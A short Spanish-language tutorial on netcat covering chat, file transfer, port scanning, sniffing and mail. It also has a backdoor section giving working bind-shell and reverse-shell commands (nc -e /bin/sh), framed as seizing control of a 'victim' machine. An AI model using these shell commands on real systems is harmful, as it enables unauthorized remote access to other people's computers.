NetCat
NetCat o tambien conocido como nc.
Permite leer y escribir datos mediante sockets TCP y UDP. Tiene multitud de utilidades, aunque no es la herramienta ideal para todas ellas. En definitiva es una herramienta a tener muy en cuenta.
Que usos puede tener:
-
Escaneador de puertos
-
Sniffer
-
Comunicacion entre dos puntos
-
Envios de correo
-
Control remoto
-
FTP
Por supuesto, hay muchas mas utilidades de las mostradas aquí y las opciones que puede llegar a manejar son muchas más de las mostradas (man netcat), este tutorial, solo pretende abrir la curiosidad por este extraordinario comando.
un chat.
En la maquina A
nc -l -p port
En la maquina B
nc ip port
Esto nos permitirá enviar mensajes escritos de una maquina a otra. Podríamos utilizar dos conexiones, por una recibiríamos y por la otra mandaríamos nuestros mensajes.
Envío de ficheros.
Receptor
nc -l port > archivo
Emisor
nc ip port < archivo
La conexión se tendrá que cerrar manualmente, ya que esta no se corta de manera automática cuando finaliza la transferencia. Este método de transferencia es lento y no muy fiable, por lo tanto se desaconseja su uso.
Como escaneador de puertos
nc -v -w2 -z ip ports
nc -v -w2 -z www.terra.es 10-80
nc -v -w2 -z 192.168.1.150 80
-v: verbose, nos da información extra
-w: segundos que ha de pasar para que deje de intentar la conexión.
-z: no enviamos ningún dato a los puertos que escuchamos.
Sniffer
nc -vv -l ip port >logSnif.txt
Control remoto. (backdoor)
Nos permite tomar el control de otro equipo.
nc -l -p 1000 -e /bin/sh
Que hace? pues simplemente se pone a la escucha en el puerto 1000 y cuando se establezca la conexión, se ejecutara la instrucción /bin/sh
-l: se pone a la escucha. si ponemos -L se restaura la escucha al finalizar la conexión.
-p: puerto
-e: programa o ejecutable que correrá si se establece una conexión.
Como conectarnos?
nc -v ip -p 1000
Establecemos la conexión con nuestra víctima, En este momento estamos en posesión de su equipo. Probad a escribir alguno de estos comandos:
-
ls, dir
-
eject
-
espeak “hello, my darling”
Como veis tenemos el control del equipo víctima Este método tiene un inconveniente, y es que la ip de la víctima en caso de ser dinámica puede cambiar, así que utilizaremos el que se llama shell inversa, o sea que serà la víctima la que nos de su shell.
Ahora sera nuestra maquina la que pongamos a la escucha:
nc -vv -l -p puerto
y la víctima tendrá que ejecutar.
nc -e /bin/sh ip port
email, pop, etc.
nc proveedor.internet 25
nc proveedor.internet 110



